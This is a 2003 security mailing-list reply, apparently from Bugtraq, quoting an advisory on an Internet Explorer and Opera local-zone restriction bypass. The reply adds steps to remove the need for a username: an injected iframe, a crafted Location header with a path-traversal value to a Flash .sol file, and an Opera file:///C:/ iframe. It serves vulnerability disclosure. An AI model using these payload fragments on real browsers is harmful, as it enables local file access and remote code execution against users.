Re: Internet Explorer and Opera local zone restriction bypass

[Andreas Sandblad <sandblad@acc.umu.se>]

Hi Mindwarper.

It seems you can actually get it to work without pressing refresh and
without knowing the username (at least on my fully patched win2000 pro
machine).

How? Remember the vulnerability
"Microsoft Internet Explorer %USERPROFILE% Folder Disclosure Vuln."
http://msgs.securepoint.com/cgi-bin/get/bugtraq0306/52.html
found by Eiji James Yoshida and published on Bugtraq 5 June 2003. It will
allow us to link to local files without knowing the username.

Basically this will repeat the test I did:
- Infect mlsecurity.sol with html code by visiting:
http://www.mlsecurity.com/ie/wee.php

- Create an iframe dynamically:
document.write('<iframe src=location.php><'+'/iframe>');

- Redirect to local file with the following http header:
Location: ftp://%@/../../../../Application Data/Macromedia/Flash
Player/mlsecurity.com/mlsecurity.sol

No username needed, no refresh.

Sincerely,

Andreas Sandblad


On Fri, 24 Oct 2003, Mindwarper * wrote:

> Internet Explorer and Opera local zone restriction bypass.
> =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=
>
> ----------------------
> Vendor Information:
> ----------------------
>
> Homepage : http://www.microsoft.com
> Vendor : informed
> Mailed advisory: 23/10/03
> Vender Response : None yet
>
>
> ----------------------
> Affected Versions:
> ----------------------
>
> All version of IE 6
> Possibly 5.x too
>
>
> ----------------------
> Description:
> ----------------------
>
> Microsoft Internet Explorer does not allow local file access by a remote host 
> by default.
> By creating an iframe which points on a specially crafted cgi script (using 
> the location header
> to confuse IE), it is possible to cause IE to execute any local file through 
> the iframe with local
> zone restrictions. This then allows remote arbitrary file execution on the 
> victim without having
> the victim do a thing except load the page.
> Opera seems to not only be affected by this vulnerability, but it also allows 
> direct
> local file access through iframes without any cgi scripts. Unlike IE where it 
> is possible
> to set activex objects to execute arbitrary files, in Opera it is not. There 
> may be a way,
> but I am currently not aware of any.
>
>
> ----------------------
> Exploit:
> ----------------------
>
> I have created a proof of concept page, but I did not show or explain how the 
> cgi scripts
> nor the flash file work exactly to prevent kiddie abuse.
>
> For IE: http://www.mlsecurity.com/ie/ie.htm
>
> For Opera: <iframe name="abc" src="file:///C:/"></iframe>
>
> ----------------------
> Solution:
> ----------------------
>
> Check Microsoft's website frequently until a new patch comes out.
>
> ----------------------
> Contact:
> ----------------------
>
> - Mindwarper
> - mindwarper@linuxmail.org
> - http://mlsecurity.com
>
>

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